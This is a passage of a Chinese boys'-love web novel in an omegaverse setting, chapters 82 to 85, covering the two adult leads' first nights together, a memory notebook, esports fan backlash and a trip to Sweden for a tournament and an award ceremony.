潭知行现在才发现,池燃半醉半醒的时候最磨人,平时不会说的话不敢做的事,在这种时候都会超常发挥。 “你抱我去。”池燃说。 潭知行:“” 僵持了两秒,潭知行单膝跪到床边, 俯下身。 正当他打算将池燃拦腰抱起的时候,池燃猛地一用力,将他推翻在床上,吻随之就落了下来。 或许是在酒精的加持下,池燃吻得很急切,亲吻的同时,一只手已经去扒潭知行的衬衫了。 “潭知行。”他眼神迷离,“说好考完试就做的。” 他唇角向下一撇,看上去有些委屈,“你怎么说话不算数。” 潭知行抓住池燃的手,被池燃这么一闹,他呼吸也沉了。 他带着些笑意问,“这么着急吗?” “距离我们说好的时间,才过去几个小时。” 池燃缓慢地点了点头。 “”潭知行揉了把他头发,“等我一下,我去洗澡。” 池燃感觉自己心跳蓦地加快,听潭知行这么说,他撤开身子,让潭知行起来。 潭知行又在他唇角留下一吻,“很快。” 潭知行去厨房将蜂蜜水拿过来给池燃放在了床头,随后才去浴室洗澡。 热水淋下来的瞬间,他却清醒了很多。 刚才面对池燃的渴求,他脑子一热就答应了。但是现在真的是合适的时机吗? 池燃喝多了才 他更希望他们之间的第一次是在彼此都清醒的状态下。 但是,如果池燃一再坚持,他也没有十足的定力。 潭知行自我纠结了片刻,最后还是决定把主动权交给池燃。池燃想怎么样,他都会配合。 十多分钟后,潭知行做好了充足的心理准备,从浴室出来。 他轻轻叫了声池燃,但床上的人没有半点反应。 潭知行疑惑地凑近去看,发现池燃已经扯着被子一角睡着了。 呼吸很沉,还是睡得很香的那种。 床头柜上放的蜂蜜水已经被喝完了。 潭知行一瞬间无语地笑出了声。 果然,就算他再怎么做准备,都敌不过池燃的一念之间- 这一觉池燃睡得很足,第二天醒来时竟有种神清气爽的感觉。 窗外的太阳早已日上三竿,池燃坐在床上,深深呼吸了一口。奇怪的是,明明身体很轻松,可他确确实实是喝多了酒,有关昨天的记忆就停留在潭知行昨天来接他。 肚子一阵咕咕叫,池燃翻身下床出门觅食,没想到潭知行正坐在客厅窗边的桌前办公。 “嗯?”池燃摸摸脑袋,“你没去上班啊?” 潭知行见他出来,目光挪过去,停留在他松松垮垮的睡衣上,“今天上午没课,下午去。” 池燃哦了声,朝厨房走过去,“有什么吃的吗?” 潭知行起身,跟过去,“想吃什么?给你做。” 听潭知行这么说,池燃转道坐回了沙发上,气势很足,“嗯我想想。” “不加辣的麻辣烫。”他冲潭知行挑眉,“你会做吗?” “这么健康?”潭知行有点意外。 “那我说早上要吃麻辣烫你让吗?”池燃反问他。 “不让。” 池燃撅嘴,以示抗议。 “等我学一下。”潭知行说着,拿出手机来。 池燃满意地嗯了声,窝回沙发上,也拿出手机。 看到屏幕上弹出来的二十几条消息,他皱起眉疑惑,小声嘀咕了句,“怎么这么多消息?” 更吓人的是,这二十几条消息还来自不同的十几个人。 白骁:「我真服了你了,明天醒了自求多福吧。」 季明野:「你还好吗?」 陈一铭:「我靠兄弟,66666」 还有更多的,是来自他其他一些同学。 「啊啊啊啊啊,我就知道你们关系不一般」 「笑死我了哥们,怎么这么敢的啊。」 「吾辈楷模,我决定好了,等我结婚的时候就请老师来」 「他们说的真的假的?我昨天喝多了」 「这么大的事儿你竟然不跟兄弟说!!!还把不把我当兄弟!」 「草,还是你牛逼。」 池燃愣了又愣,甚至有点傻眼。 大家在说什么啊? 迟疑了几秒后,池燃小心翼翼地跟潭知行求证,“潭知行我昨天喝多之后,又干什么了吗?” 潭知行闻言挑眉朝他看过来,“又这个字用得很好。” 池燃:“” 潭知行边刷做麻辣烫的视频,边淡定地跟池燃叙述昨天的情况,“你搂着我,跟你们班主任说,我不是你的叔叔。” 池燃咽了下口水,“然后呢?” 他当众表白了??? 潭知行:“说我是你的老公。” 池燃顿时面如死灰。 “然后我就花费了半个小时的时间在路上跟你的班主任解释,我们不是她想的那种关系。”潭知行抬眼向他看过来,声音幽幽的,“没有血缘关系,不是乱/伦,不是领养。” 池燃:“” 他的心死了又死。 “哈,哈。”他干瘪地笑了两声。 “老师相信了吗?” 潭知行嗯了一声,“你们班主任很负责,就差让我拿户口本出来给她看了。” 池燃:“” 行吧。 丢人丢大发了。 “没做别的了吧?”他又和潭知行确认。 潭知行犹豫片刻,看来池燃已经把昨晚的事忘得一干二净了。 也好。 “没了。”他说。 池燃这才松下一口气。 高考结束,悠长的假期到来,就连TJG那边也让池燃休息一段时间再归队。 时间突然多得不知道该怎么花,池燃几乎每天都和白骁季明野或者其他同学出去玩,把明城乃至周边能玩的好玩的都玩了个遍,每天早出晚归,有时候也会外宿一两天,累得筋疲力尽,回到家倒头就睡。 连潭知行都被他忘在脑后了。 晚上,池燃正和季明野聊天聊得火热,一面和白骁研究后天去云城玩的攻略,一面逗着小陆玩。 突然意识到这是潭知行第三次端着水杯从他眼前走过了。 他抬头瞟了一眼,随即道,“潭知行,你睡衣扣子系错了一个。” 歪的,胸前一片都露出来了。 潭知行:“哦,谢谢。” 他在沙发上坐下,当着池燃的面,慢条斯理地解扣子。 池燃古怪地看看他。 潭知行不像会是连扣子系错了都发现不了的人。 “我去洗澡。”潭知行又说。 池燃哦了一声,没多想,心思又放到聊天上。 季明野说他和白骁进展到哪儿来着? 过了十几分钟,潭知行从浴室出来,穿了个浴袍,又端着水杯从池燃面前走过。 池燃又看了他一眼。 潭知行的浴袍只松松垮垮地在腰间系了下,线条流畅的腹肌上还挂着水滴。 池燃:“潭知行,你身上没擦干。” 潭知行在他身旁坐下,按开电视,随意打开一个电影,“嗯。” 池燃:? 潭知行一坐下,那浴袍敞得更开了,池燃看清了潭知行浑身上下只穿了个内裤。 身材很好。 池燃想起什么似的,嘶了一声,问潭知行,“对了,你平时去哪家健身房来着?” 潭知行:“学校附近的一家。” 池燃:“哦,给我也办张卡吧。” “我下次跟你一起去。” 练得真不错,他盯着潭知行的胸肌看。 “要摸一下吗?”潭知行忽然问。 “什么?”池燃猛地回过神来,脸腾一下红了,“我不——” 呃,好像摸一下也行。 “过来。”潭知行抓住池燃手腕。 池燃鬼使神差地膝行过去,跨坐在了潭知行身上。 手感真好,不软不硬,弹弹的。 潭知行呼吸加重了几分。 “池燃。”他低声叫他名字。 “嗯?”池燃抬眼对上潭知行的视线。 “看不出来吗?”潭知行说,“我在引诱你。”—— 作者有话说:潭老师:走来走去(展现男性魅力)[墨镜]走来走去(努力孔雀开屏)[害羞] 小池:[问号][问号][问号] 作者:[求你了]明天晚上八点更下一章,还在追更的老婆们一定早点来看好吗好的,我不确定它能存活多久[爆哭] 第83章 池燃大脑空白了几秒。 “什, 什么”他结巴。 引诱? “好摸吗?”潭知行凑上去在他嘴角贴了下。 池燃不自觉吞咽,如实回答,“很好。” “还想摸哪里?”潭知行眉间微动。 池燃:“” 他心跳瞬间加快。 “你最近理我的时间很少。”潭知行低声控诉他, “已经把我们的约定忘了吗?” “我”池燃一时语塞, “我最近” 他最近只顾着出去玩了,和潭知行的约定倒是没忘,就是没顾上。 每天回家都累得半死不活的, 哪里顾得上? 现在却一股无名火涌进他胸腔里。 “想做吗?”潭知行的声音对他真如引诱一般。 池燃心间颤了颤,随即点了点头。 他期待这一天, 已经很久了。 他主动低头去吻潭知行,下一秒,便被潭知行托起来向卧室走去。 潭知行的浴袍带子形同虚设, 一扯就开,池燃贴上去,把他浑身上下都摸了个痛快。 很快,他的睡衣也被扒掉了。 潭知行细细密密地吻他,在他耳边说话, “我认真学过了, 可能会有点疼, 我们慢慢来。“ 池燃被吻得头脑发晕, 几乎丧失了思考能力,但听到这句话, 还是勉强抽出一丝理智来。 他推开潭知行,“什么?” 他的目光变得惊慌失措。 “嗯?”潭知行不解。 “我,我是下……?”池燃觉得这一切都乱套了,“等等等等。” 他跟潭知行分辨,“我是Alpha。” 潭知行反应了几秒, 想起他看过的那些abo小说。 Alpha是上位者。 这是池燃天性的一部分。 他迟疑片刻,从床头柜里拿出几样瓶瓶罐罐,扔到床上。 他退让了一步,“你来。” 池燃又有点懵了。 这些都是什么跟什么? “会吗?”潭知行问他。 池燃:“” 他摇了摇头。 在这方面,他的知识储备几乎为0。 当Alpha不是这样那样就可以了吗?怎么还有这么多步骤? 没人教过他啊。 潭知行也沉默了几秒,“那等你准备好再——” “又等?” 池燃一听不干了。 他心一横,抓过潭知行来接吻,“你来就你来。” “我不怕疼。” 池燃心跳很快,闭着眼睛承受潭知行给予他的一切。一开始是痛,任潭知行再怎么好声哄他也没用,可很快,他感觉身体变得滚烫。 “潭知行……”他抓住潭知行撑在他身侧的手臂,“我好像……” “怎么了?”潭知行停下来,低声问他,“疼吗?” “不是,我,我是不是发烧了?”他问潭知行。 潭知行抬手去碰他的脸,回答他,“没有。” 除了泛着水润的红,没什么异常。 “但我好热。”池燃感觉自己快疯了。 他突然意识到,这是易感期在作祟。不像往常那样简简单单的发烧,而是真真正正的燥热,由心底蔓向他浑身每一处流动的血液。 “潭知行,过来。”他勾住潭知行脖子,将他上身压低,再稍稍一用力,毫不客气地咬了上去。 “你摸摸我……”他声音有点哑,“求你。” 池燃从来没想过,他这辈子第一次经历真正的易感期,竟然会是这样的场面。 混乱,崩溃,唯一一点好,是有潭知行在他身边。 池燃觉得自己就像一条濒死的鱼,在潭知行身上渴求那一点微薄的信息素,可是不够,真的不够。 难受得他想哭。 “可以咬我。”潭知行掰开他的唇,凝视着他眼睛,“想怎么咬都行。” 池燃含住他食指骨节,用力咬了上去,留下一圈牙印。 他眼中蒙上一层雾气,直直地盯着潭知行,不掩眼里的欲/望。 为什么潭知行不能真的是Omega?那样他现在就可以…… “啊……”他溢出一声闷哼。 脑子里有根弦啪嗒断了。 “潭,潭知行……”他向潭知行伸手。 “嗯?”潭知行顺势将他抱起来,捋了捋他被打湿的发。 “你……继续吧。”池燃低垂下眼,小声开口,“像刚才那样。” 潭知行轻轻笑了声,“嗯。” “池燃。”他在他耳边呢喃,“你很漂亮,很帅气,很可爱,也很……性感。” “叫我吧。”潭知行说。 池燃脑子发晕,觉得潭知行又在诱惑他。 “潭知行。” “叫哥哥。” 池燃手顺进潭知行发间,“……哥哥。” 他懵懵地想,潭知行让他叫哥哥是早有预谋的。 “叫老公。” “……”池燃咬住了下唇。 “怎么?现在不好意思叫了吗?” 潭知行吻他侧颈,弄得他痒。 “当时在街上你可喊得很大声,后悔没录下来。” 潭知行的手往下摸去,池燃瞬间抖了抖。 “叫我,乖。” 池燃终于颤声,“老公……” 一瞬间,池燃又被压倒,天旋地转似的,他的视线被潭知行笼罩住,呼吸也被潭知行夺走,连同所有感官,都随潭知行的动作沉浮。 快意顺着脊背肆意地往上攀,胡乱说出的话都断断续续,最后变成长长的叹息。 潭知行在他湿润的眼角处落下一吻,随后打横将他抱起,“去洗澡。” 池燃没吭声,嘴唇在他后颈处轻轻磨着,又咬了一口。 “不做了?”他问潭知行。 “嗯?”潭知行步子顿下。 池燃眼睛透亮地看着他,神色间却有羞涩,“我还没……” 他顿了顿,小声解释道,“Alpha的易感期,不是一次就……” 他现在对潭知行的渴望,还有很多,很多。 半晌,潭知行应了一声,抱着他往另一个卧室走去,“去你房间,这张床不能睡了。” 池燃突然有点想笑,“这就是客房多的好处吗?” 他揽紧潭知行的脖子,凑过去贴在他耳边小声问,“非要在卧室吗?去你书房行不行?” 潭知行闻言笑了声,“不行。” “你要我以后怎么平心静气地工作?” 池燃一听却起了顽皮的心思,他命令潭知行,“去书房。” “去,书,房。”他扯了扯潭知行的耳朵。 “池燃,你——” “怎么样?”池燃理直气壮。 潭知行无可奈何,转而进了书房。 他的书桌向来整齐,轻而易举就能为池燃找到一片空地。 池燃坐到书桌上,双腿随之勾住了潭知行。 “进来。” 池燃背靠在书架,晃动之下,有个小本子从书架上掉了下来。 “啪嗒”一声,落在池燃手边,摊开来。 上面密密麻麻写满了字。 池燃的注意力被吸引去,“这什么?” 在他的印象里,潭知行的书柜上从来只有一沓又一沓的文件。 潭知行掰过他的脸来,微喘着道,“池燃,专心点。” 池燃还想再说些什么,却被潭知行的吻堵住。 “唔……” 可他恍惚间,在那上面看见了自己的名字…… “潭知行,我也想听你叫我。”他在喘/息间说。 “嗯,想听什么?”潭知行知趣地问。 这种时候,池燃应该不止是想听他叫名字那么简单。 “嗯……”池燃手抵在他锁骨上,认真地想了想。 “叫,宝贝?” 情侣之间,不都是这样称呼的吗? 见潭知行没吭声,池燃故意用了点力气,“潭知行,说话。” 潭知行动作一滞,一只手撑到书架上方,将池燃笼罩住。 池燃直勾勾地看着他,半点都不害羞,“干嘛?” 他催促潭知行,“快点叫我。” 他眼见着潭知行耳朵变得比刚才还要红,红得像要滴血,突然得了点调/戏潭知行的乐趣。 他笑了声,“你不好意思啊?觉得肉麻?” “嗯……”潭知行硬着头皮承认,“有点。” 他活了三十年,这个词就没从他嘴里说出来过。 “叫不叫?”池燃威胁他,“不叫从我身上滚下去。” 似乎已经得意忘形到不记得刚刚求着要继续的是谁了。 “……”潭知行俯过身来,吻了池燃一下,“宝贝。” 他感到自己心脏鲜活的跳动,喉咙紧张到不自觉吞咽,又情不自禁地向池燃表白,“我爱你。”- 池燃记不太清自己是什么时候睡着的了,但隐约是见过天光。 再睁眼时,已是下午。 他迷迷糊糊坐起来,感觉有一点胀,腰有一点点酸,除此之外,倒还好。 他大声叫潭知行的名字,没几秒,潭知行便推门进来了。 “醒了?” 池燃满足地伸了个懒腰,点头嗯了一声。 身体居然感觉还不错,易感期……是过去了吗? “有没有哪里不舒服?”潭知行坐到床边,抬手探了下他额头。 只一瞬间,池燃便觉得不对劲了。 靠,潭知行身上好好闻。 易感期时他对信息素的味道这么敏感的吗? 潭知行看不明白他的表情,还以为他哪里不舒服,“怎么了?要不要去医院?” “我昨天没弄进去,应该不——” “潭知行。”池燃声音突然变软,撒娇似的,“我再咬你一口呗。” “嗯?”潭知行愣了愣,“你还……” 看见池燃祈求的神情,他随即答应下来,“好吧。” 他解开上衣扣子,将脖颈到胸前都露出来。 池燃顿时倒吸一口凉气,“这个……” 潭知行身上红一块紫一块的,还有很多牙印。 “不记得了?”潭知行笑了声,“某个小狗昨天仗着自己在易感期,拿我当骨头。” 池燃:“……” 他不好意思地挠挠脸。 “……疼吗?” “还好。” 池燃抬手去摸潭知行身上的痕迹,一时有点不敢相信。 真的,都是他咬的? 潭知行目光暗了几分,问他,“知道自己昨天咬了我多久吗?” 池燃懵懵地摇头。 “很久。”潭知行低声。 池燃心虚了几秒,又小声嘴硬道,“咬一下怎么了,当人老公就是要讲义气。” 他盯着潭知行,不自觉地吞咽,眼神很直白。 潭知行忍不住笑,“明天你不是还要和白骁他们出去玩?去不去了?” “……”池燃犹豫两秒,“不去了。” “我一会儿跟他们说。” 潭知行看他这副模样,更觉得可爱了,伸手揉了把他头发,“至少先吃顿饭再做吧。” “做完再吃。”池燃扑过来就要咬他。 他咬下去之前,还是琢磨了下,“真的很疼吗?我轻点。” “没事。”潭知行一手抚到他脊背上,凑到他耳边低语,“咬吧,你咬我的时候,我在……” “就不觉得疼了。”潭知行说- 池燃饿坏了,把潭知行支去厨房给他做饭,他则悄悄摸摸地溜进潭知行的书房。 昨天他见过的那个本子,是墨绿色的封皮,大概是从书架二层掉下来的。 池燃凭着记忆翻找了一阵,却什么都没找见。他又去身后的整排书柜上摸,上上下下看了个遍,也没有。 不对啊。 池燃更疑惑了,是潭知行特意把它换了地方? 有什么他看不得的吗? 池燃琢磨了会儿,瞥见书桌下的几层抽屉,又过去挨个拉开翻,果然,在第二个抽屉里找见了那个墨绿色小本子。 …… “池燃?”潭知行的声音从房外传来。 没在卧室找到池燃,潭知行从卫生间衣帽间找到电竞房,最后才推开书房的门。 “怎么在这儿?可以吃饭了。” 潭知行说完,才发现池燃手里捏着个小本子。 池燃举起本子,朝他挑眉,“潭知行,解释一下?”—— 作者有话说:恭喜小情侣成功吃上[星星眼][加油][加油][加油] 作者温馨提醒小池:小池你不累是因为信息素哦,以后没有信息素了就补药这么放肆啦[吃瓜] 小池(堵住耳朵):不信[奶茶] 潭老师:试试[眼镜] 第84章 潭知行完全没想到这个场面。 他僵了两秒, 反问池燃,“你看完了?” 池燃点头。 “很明显……”潭知行措了下辞,“这是我的……日记本。” 池燃笑了下, 走近, 拿本子轻敲潭知行的胸口,“怎么你的日记本,主角叫池燃啊?” 潭知行:“……” 池燃翻开第一页念给他听, “池燃,关系, 恋人。年龄,十九岁,生日, 二月十六,身高180,混血,性别Alpha,男。” “这什么?”池燃俏声问潭知行, “我的基本资料?” 潭知行还是沉默。 池燃继续念下去, “喜好, 打游戏, 篮球,小龙虾。职业, 电竞选手,括号,很厉害。” “注意事项,偶尔无理取闹,有小脾气, 酒量不好,会丢三落四,爱咬脖子。” 池燃念到这儿,忍不住磨了磨牙。 他又往后翻了一页,跳着念了几个日期,“三月二十一号,和池燃确定恋爱关系。四月十一号,和池燃打游戏。四月十三号,和池燃出门逛街,买了两件T恤。四月二十号,参加池燃成人礼,收到了情书,放在书柜最上层最左边。 “六月十号,池燃不在家,和朋友出去玩了。六月十一号,池燃不在家,同上。” 日记最后的时间停留在前天。 今天是六月十七号。 池燃抬眼盯住潭知行,“这是我的日记本还是你的日记本?” 他歪了歪头接着问,“昨天为什么不让我看?还故意藏起来?” 潭知行又是一阵沉默。 片刻后,他才开口,“这是……我怕以后哪天我会忘了什么,为自己写的备忘录。” 池燃一下怔住。 他以为这是潭知行写的“恋爱日记”,怀着甜蜜的心情去读,看到潭知行说他会无理取闹也没有生气。 原来是……备忘录吗? 如果有一天潭知行忘了这些,这本子就能提醒他。 你的恋人叫池燃,是个男生,他有点小脾气,所以要经常让着他,他喜欢吃小龙虾,所以要时不时给他买。他酒量不好,所以一旦喝酒要看着他点,爱咬脖子,就让他咬。 就算不记得了,按着日历数一数日子,就知道他们在一起多久了,过往度过的每一天是怎样平淡而温馨。每一天,都不会被他丢进记忆的角落里落灰。 “用笔记本记下来比较方便找到。”潭知行不自然地眨眼,“因为说不定什么时候,我会连手机和电脑密码都忘掉。” “不想让你看是因为……”潭知行顿了顿,才说下去,“确实有自卑的心理,我会需要用这种方式来做记录。” 他们之间,突然换成池燃沉默了一阵。 池燃把本子合上,捏在手心里,“潭知行,你这……日记,写得也太烂了。” 他微微皱眉,模样有点嫌弃,“怎么只有时间地点和我,一点感情都没有。” “嗯……”潭知行低低应了一声,“你不喜欢,以后不写了。” “谁说不写了?”池燃抬眼看他,眼睛里有点水润,脸上表情却还绷着。 他稍稍一踮脚,凑过去在潭知行唇上轻轻贴了贴,“以后,我跟你一起写。” 潭知行心跟着颤了颤。 “还有,潭知行,我的抑制剂呢?”池燃一手戳戳他胸口。 “什么?” “别装傻。”池燃又翻开本子第五页,念道,“五月十五号,研制出了池燃适用的抑制剂,不知道该不该给他用。” 他向潭知行伸手,“我的抑制剂呢?” “这个……”潭知行犹豫了下,似有为难,“这个抑制剂现在还不能给你用。” “没有实验过,只是理论上可行,太危险了。” “我相信你。”池燃看着他眼睛,“再说,你还能做什么实验,你找得到第二个Alpha吗?” “……” 这正是潭知行纠结的地方所在。理论上来说,他研制的抑制剂是针对池燃可行的,并且是永久有效,可池燃只有一个,他没办法拿池燃做实验。 这个抑制剂,也只是他打算到某一天走投无路时,万不得已的选择。 “不行。”潭知行拒绝他。 “抑制剂你拿回来了吗?”池燃不理他,直接开找,“在家里吗?你放哪了?” “池燃。”潭知行一把将他捞回来,神色严肃,“真的不行。” 池燃咬了下下唇。 “好吧。” 看潭知行这个反应,这个抑制剂八成是在家里。既然是在家里,他还怕会找不到吗? 他早晚给潭知行一个“惊喜”。 吃过饭,池燃靠在沙发上,又把潭知行的日记本翻来覆去地看。 一边看,他一边拿着笔,试图在旁边给潭知行补上几句。出去玩那两天他也没有完全冷落潭知行啊,晚上还给潭知行打视频了呢,补上。 潭知行收拾好厨房,走过来。 “今天早点休息。”他在池燃身旁坐下,“累了一天了。” 池燃摇头,“不要。” 他把日记本递给潭知行,装得很无辜地眨眼,“昨天和今天的日记还没写呢。” 潭知行:“……” 他把日记本接过来,故作镇定道,“知道了,我晚点补上。” 池燃不怀好意地一笑,凑上来,“不行。” “现在就写,我看着你写。” “……” 潭知行耳朵蓦地红了。 要说他从昨天晚上到今天都做了什么……那只有一件事。 池燃催促着,一边把笔塞到他手里,“快点,写。” 潭知行没办法。 他靠坐在沙发上,双腿交叠,将本子垫在腿上,先写下了日期。 “昨天……上午我在学校上课,下午在实验室。” 他慢吞吞地在本子上写下“上课”两个字。 池燃:“嗯嗯,然后呢?你这日记不是只写和我有关的吗?继续。” 池燃颇有兴趣地看着潭知行不知如何下笔的样子,又道,“记得我说的吧,写日记要富有感情。” “嗯……” 潭知行一个字也写不下去。 半晌,潭知行不得已放下笔,和池燃求饶,声音放低,“池燃,今天的不写行不行?” 池燃眼睛一转,跨坐到他身上,“那你,说给我听?” “你说得好听我就饶了你。” 潭知行微偏着头笑了声,又对上池燃的眼睛,“想听我说什么?” “嗯……”池燃想了想,问,“和我做……感觉好吗?” 潭知行目色柔和,“很好。” “喜欢吗?”池燃又问。 “喜欢。” 池燃秉着好奇的心理,接着问,“具体什么感觉?” 潭知行又笑,“真的有必要问得这么清楚吗?” “我没做过嘛,问问还不行?” 他都把当Alpha的机会让给潭知行了。 “嗯……”潭知行微垂下眼,似是陷入回忆里。 “很热,很软,酥酥麻麻的,很舒服。” 潭知行抬眼扫了下池燃的神色,又在他唇角轻吻,“因为喜欢你,又觉得满足。” 他边吻边喃喃道,“从来没觉得……这么好过。” 第二天,池燃发现,潭知行还是把日记补上了,虽然只有短短几个字。 六月十六号:感觉很好。 六月十七号:同上。 池燃笑了笑,在旁边补上两个字:多来- 十几天过去,池燃正式归队。刚一上岗,就遭到了大麻烦。 他代替TJG原队长的狙击手的位置是一早就和教练定好的,但不巧的是,这个赛季队长领着TJG打进了世界赛。 这是TJG时隔两年再次挺进世界赛,但这个节骨眼上,同时发生了队长退役和池燃进队两件事,引得很多粉丝不满,网上吵得铺天盖地。 【吵什么啊,队长本来就要退役的】 【无语,让这个Fire捡到大便宜了】 【就是啊,凭什么齐队领着大家打进世界赛,转眼就变成Fire了】 【不是我说风凉话,Fire打过什么大型比赛吗?世界赛带上他不是送死吗?白瞎这次机会了】 【你们偏见不要那么大,Fire其实很厉害的,你们多看看他直播就知道了。】 【不公平!让Fire退队!退队!】 诸如此类的言论,几乎攻陷了池燃的微博和直播间,为此,教练特意取消了池燃最近一段时间的直播,也嘱咐他少看网上那些东西。 池燃早起晚睡,每天在队里训练,和队友为了世界赛做准备,只有周末才回家。他已经尽量劝自己不去在意外界的声音了,但难免还是有点心烦。 一连几天,他都吃不好睡不好。 周五,潭知行来TJG接池燃回家。 池燃没精打采地走过来,拉开车门坐进来,一句话也没说。 潭知行觉得有点奇怪,歪了歪头看他,问,“怎么了?” “没。”池燃往座椅上靠,找了个舒服的姿势,“有点累。” “嗯。”潭知行接受了这个理由,转头启动车子,“回家先睡一会儿。” 池燃侧目看窗外,没一会儿就闭上了眼睛。 就算跟潭知行说也解决不了什么。 算了。 他们一周没见,一进家门,池燃就迫不及待地勾着潭知行的脖子吻上去。 他边亲边扯潭知行的衣服,边把他往卧室推。 “等等,池燃。”潭知行稍推开他,“你去休息一会儿,晚上再——” 池燃冷着脸又将潭知行拽过来,语气不善,“等什么?我等不了。”—— 作者有话说:小池:[愤怒][爆哭][愤怒][爆哭]我要做!!! 第85章 池燃毫不客气地去咬潭知行的唇。现在也只有潭知行能让他从那些烦恼中脱离出来片刻。 潭知行被推到墙边, 肩膀结结实实地撞在墙上。 “池燃。”潭知行按住池燃乱动的手。 “干什么?”池燃不得已停下来,不满地瞪向潭知行。 “在不高兴什么?”潭知行微微蹙眉,“我哪里惹你了吗?” 池燃轻轻咬了下唇, “没有。” “你没惹我。” “那你——” “我自己的问题。”池燃说, “我能处理好,你可以不问吗?” “……不太行。” 潭知行握起池燃的手,“池燃, 你这样我会更担心,你忘了我们说好的, 什么事都不瞒着对方。” 池燃一下像泄了气的皮球,紧紧抱住潭知行,“你说得对, 潭知行,现在我很需要你。” “发生什么事了?”潭知行轻轻抚着他脑袋,声音低下来,“跟我说说。” 池燃把前因后果都跟潭知行讲了一遍,最后把手机递给潭知行, 叫他看微博上那些言论。 潭知行看着看着, 便意识到问题的严重性, 心跟着沉下来。 他上滑退出微博, 又在池燃手机上点了两下,将软件删除了。 池燃:? “你干嘛?” “你最近需要用这个账号发什么的话, 用我的手机。”潭知行把自己的手机递给他,“把账号登到我手机上。” 池燃不解地照做。 “明天你休息吧,我们出去玩,带你散散心。” 池燃突然觉得潭知行有点反应过度了。 “不是,我不是因为有人骂我难受。”他解释道, “我没那么脆弱。” “……我是因为,因为怕自己做不好。”池燃低下头扣手,“最后真的变成他们说的那样。” 潭知行突然意识到池燃比他想象中还要坚强很多,心由不得被揪了下。 “池燃,你记得你上次说这种话是什么时候吗?” 池燃没反应过来,“嗯?” 上次? “我们在海边度假的时候,韩闻烁跟你讲了很多我的糗事,那时候你说,你怕以后会成为一个没用的大人,但是看到我也是那样跌跌撞撞走过来时,你就不怕了。” 池燃一下想起来了。 “对啊……” “这次比赛,无论你做不做得到,都会变成人生中跌跌撞撞的一次经历。” 池燃接上他的话,“所以,我不用怕?” 潭知行点头,“嗯,只要尽力去做就好了。不要有压力,不用管结果。” 池燃突然有了精神,对潭知行笑了下。 他朝潭知行扑过去,“潭知行,我就说我很需要你。” 潭知行跟他接吻,带着笑意问,“哪方面的需要?” 池燃读懂他话里的意思,连忙从他身上起来,一溜烟跑回电竞房。 “我去训练!”- 比赛在八月末,在这之前,池燃完成了两件大事。 一是高考报考,他成绩还算可以,正常发挥的水平,但远远不够报潭知行所在Z大,就自己琢磨着报了离Z大两条街远的H大。 专业也是自己选的,管理学,他学腻了理化生,想着以后等退役能做个教练或者电竞队经理什么的,应该能派上点用场。 这些决定,都是他做好之后再通知潭知行的。 潭知行也没有意见。 第二件事,就是他找到了潭知行藏的抑制剂。其实很好找,潭知行的衣帽间里有一层抽屉是个小保险柜。密码他试了两次就打开了,第一次是他的生日,第二次是他们在一起的日子。 趁着潭知行不在家,池燃想都没想就自己注射了抑制剂。他承认这么干很冒险,但他相信潭知行。 注射之后,池燃还以为自己会有什么反应,结果半点异常都没有,他一度以为这玩意没用,就把空了的抑制剂又放了回去,关上保险柜,当没发生过。 但慢慢地,他发现最近几个月自己都没有觉得头晕,没有发烧的迹象,腺体也不会疼了。 他趴在潭知行身上使劲儿嗅也闻不到信息素的味道了。但关于这点,池燃觉得还是有点可惜。 潭知行最近几天也格外忙。 他的论文顺利通过终审,登上了Nature封面,一时间成为学术界的大消息。 现在池燃随手一搜有关阿尔兹海默症的消息,就能看见潭知行的名字紧随其后。 Z大生物院几乎快把潭知行供起来了,拉着他到处做演讲,探讨研究成果,分享学术经验等等,一连好几天都被困在学校里。 池燃前天收到了来自PKL寄来的官方邀请门票,是他之前打沙排赢来的那张。 人生还挺奇妙的。 池燃怎么也没想到,几个月前自己还在为一张门票而兴奋,现在自己却能站上那个舞台了。 不是观众了。 但门票不能浪费。 “你八月末有时间吗?” “你八月末有时间吗?” 饭桌上,潭知行和池燃同时问出这句话,俩人都愣了下。 “哪天?” “哪天?” “……” “……” “你先说。” “你先说。” 池燃笑出了声,“我们现在这么有默契吗?” 潭知行也笑了下,“大概吧。” “我知道你八月末要去比赛,是要问我这件事吗?” 池燃点头,“我收到上次打沙排赢的门票了。” 他带着期待看潭知行,“你会来看我比赛吧?” “当然。”潭知行说。 “你要跟我说什么事?”池燃问。 “我的研究获奖了,要去参加一个颁奖典礼。”潭知行说,“我想邀请你参加。” 池燃眼睛亮起来,“真的?” 他替潭知行高兴,“太好了,我肯定去啊。” “在哪儿?”池燃问。 “瑞典。”潭知行说。 池燃眼睛又一亮,“我比赛也在瑞典。” 潭知行笑,“那正好,我们可以顺便在周边玩几天。” “你几号?”池燃问。 “26号。”潭知行说。 池燃想了想,“我15号开始比赛,26号是总决赛。” “但是……我们可能打不到总决赛。” “为什么这么说?” 池燃咬住筷子,“能进世界赛的队伍都很厉害,我们……胜算不大,能打到哪儿算哪儿吧。” “而且要是打到决赛,我就不能去看你颁奖了。” “我颁奖在下午,你们比赛晚上才开始吧?” 池燃:“从下午打到晚上。” 潭知行:“……” 片刻,他笑了笑,“如果你真的进了决赛,不来参加我颁奖也没事,我会拜托人录像给你。” 池燃:“那要是我真的打进总决赛,你能来看吗?” 潭知行想了下,“颁奖结束后应该还有个晚宴……我会早点结束,赶过去看你。” “你保证?”池燃问。 潭知行点头,“嗯。” 池燃:“……那我试试。”- 赶上暑假,潭知行本以为这次瑞典之旅会是他和池燃两个人的甜蜜假期,没想到还是拖上了韩闻烁这个电灯泡。 对此,韩闻烁严正声明,“哎,我可不是跟你俩来蜜月的,我是正大光明来看比赛的。” 他软磨硬泡地跟池燃求门票,池燃就干脆给他搞来了张和潭知行连坐的,还是vip,把韩闻烁感动坏了。 原本池燃也想邀请白骁和季明野一起来玩,机酒吃喝住宿全包的那种,但俩人很默契地拒绝了他,并且表示绝对会准时守在电视前看他比赛。 池燃一度怀疑俩人搞在一起了。 落地斯德哥尔摩第一天,池燃的主要任务就是倒时差,调整到一个饱满的精神状态去参加第二天的热身赛。 池燃每天的时间都被战队安排得满满的。 反观潭知行,他这几天什么日程安排都没有,除了下午会准时到场去看池燃比赛,其余的时间都被韩闻烁拽去逛商场了。 韩闻烁左手右手各戴了三块手表让潭知行帮他挑,潭知行实在没什么耐心,扫了一眼说,“都行。” 这已经是韩闻烁第三天拽着他来买手表了。 到底要买多少块…… “我出去等你,你慢慢挑。”潭知行说。 “哎!”韩闻烁喊了他一声,但没留住,“你再帮我看看啊!” 潭知行从店里出来透气,目光漫无目的地扫过眼前各大名牌,最后定在一家珠宝店门口。 他回身看了眼韩闻烁,估计他还要要等一会儿,便迈步走了过去。 